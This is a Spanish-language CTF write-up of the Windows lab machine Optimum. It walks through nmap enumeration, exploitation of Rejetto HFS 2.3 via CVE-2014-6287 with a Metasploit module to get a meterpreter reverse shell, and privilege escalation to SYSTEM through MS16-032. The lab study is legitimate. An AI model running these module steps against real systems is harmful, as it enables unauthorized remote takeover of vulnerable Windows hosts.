Optimum
Dificultad: Easy - OS: Windows
¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info
El enfoque principal de este CTF radica en la enumeración temprana con herramientas como nmap, que permite identificar un servicio HTTP vulnerable: HttpFileServer (HFS) versión 2.3. Este servicio, al encontrarse desactualizado, posee una vulnerabilidad crítica de ejecución remota de comandos (RCE), identificada como CVE-2014-6287. Este tipo de fallo es particularmente útil para obtener acceso inicial a la máquina víctima, y se facilita mediante módulos públicos en frameworks como Metasploit.
Una vez obtenido el acceso remoto a la máquina mediante la explotación del servicio vulnerable, el objetivo pasa a ser la escalada de privilegios. En esta instancia, se aprovechan características del sistema operativo, como la arquitectura de 64 bits, y se realiza un análisis de los procesos en ejecución para migrar a uno compatible con el tipo de shell obtenida. Dado que la herramienta de sugerencia automática de exploits puede no ser confiable en entornos x64, se recurre a una búsqueda manual dentro del propio Metasploit mediante el módulo suggester. Finalmente, se aplica con éxito la vulnerabilidad MS16-032, relacionada con el manejo inadecuado del servicio de logon secundario, para alcanzar privilegios de sistema (NT AUTHORITY\SYSTEM).
📌CVE-2014-6287
La vulnerabilidad CVE-2014-6287 afecta al software Rejetto HTTP File Server (HFS) en versiones anteriores a la 2.3c. Este servidor web, frecuentemente utilizado para compartir archivos en entornos Windows, contiene una falla crítica de ejecución remota de comandos (RCE) en la forma en que maneja ciertos campos de entrada manipulados en las solicitudes HTTP. El fallo radica en que el motor de scripting que HFS utiliza para interpretar macros no valida correctamente los datos proporcionados por el usuario, permitiendo que un atacante inyecte código arbitrario que se ejecuta directamente en el sistema host con los privilegios del proceso del servidor.
El ataque explota el parámetro search en una solicitud HTTP manipulada, el cual puede ser utilizado para ejecutar comandos arbitrarios mediante un payload incrustado, aprovechando la lógica interna de las macros de HFS ({.exec|...}), lo que abre la puerta a la ejecución remota sin autenticación previa. Esta vulnerabilidad es especialmente peligrosa si el servidor HFS se ejecuta con privilegios elevados (como SYSTEM), ya que el atacante podría tomar control completo del sistema objetivo.
En el contexto de pruebas de penetración o CTFs, esta vulnerabilidad puede ser explotada fácilmente mediante Metasploit con el módulo exploit/windows/http/rejetto_hfs_exec, que automatiza la inyección de la macro maliciosa y la entrega del payload.
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# nmap -sCV --open -T4 -v -n 10.10.10.8📌 Parámetros
sCV:-sC→ Ejecuta scripts de detección predeterminados → Usa los scripts denmapubicados en/usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.-sV→ Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.
-n→ No resuelve nombres de dominio (reduce el tiempo del escaneo).--open→ Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.-T4→ Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.-v→ Modo verbose → Muestra más detalles sobre el progreso del escaneo.
Resultado:
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-favicon: Unknown favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1
|_http-title: HFS /
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsExplotación Inicial (RCE)
La versión del servicio HFS que nos muestra es bastante vieja por lo que se puede buscar algún exploit en msfconsole (Metasploit) para automatizar el ataque.
Nos arroja varios módulos que podemos probar para romper este servicio, pero el que nosotros vamos a usar es el exploit/windows/http/rejetto_hfs_exec
Comandos:
use 4→ seleccionamos el payloadoptions→ vemos los parámetros que debemos configurar en el exploitset lhost→ seteamos nuestra IPset rhosts→ seteamos la IP del targetexploit→ ejecuta el exploit
Si todo sale bien nos creará una sesión en meterpreter Meterpreter session 1 opened este id de la session lo usaremos más adelante.
Escalada de Privilegios
Ya conseguimos una sesión en meterpreter, ahora para escalar privilegios vamos a buscar algún otro exploit que nos sirva para este equipo. El módulo que se encarga de buscar vulns una vez que tenemos acceso al sistema es el siguiente: post/multi/recon/local_exploit_suggester
Comandos:
background→ ponemos en segundo plano la sesión de meterpreter para usar la shell de msfconsolesearch suggester→ en msfconsole buscamos el módulo con el filtro suggesteruse 0→ seleccionamos el módulooptions→ abrimos el panel de configuración. Para este caso solo nos pide que configuremos la sesión del meterpreter donde tenemos la reverse shell.set session 1→ seteamos con el id de la sesión anteriorrun→ ejecutamos el módulo
El exploit que nos interesa de la lista que nos arrojó el suggester es el siguiente: exploit/windows/local/ms16_032_secondary_logon_handle_privesc
Comandos
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc→ seleccionamos el exploitoptions→ abrimos el panel de configuración. Para este caso solo nos pide configurar nuestra IP y la sesión del meterpreter .set lhost→ seteamos nuestra IPset session→ seteamos con el id de la sesion anteriorexploit→ ejecuta el exploit
Resultado: se nos abre una segunda sesión en meterpreter con una shell de NT AUTHORITY\SYSTEM
Last updated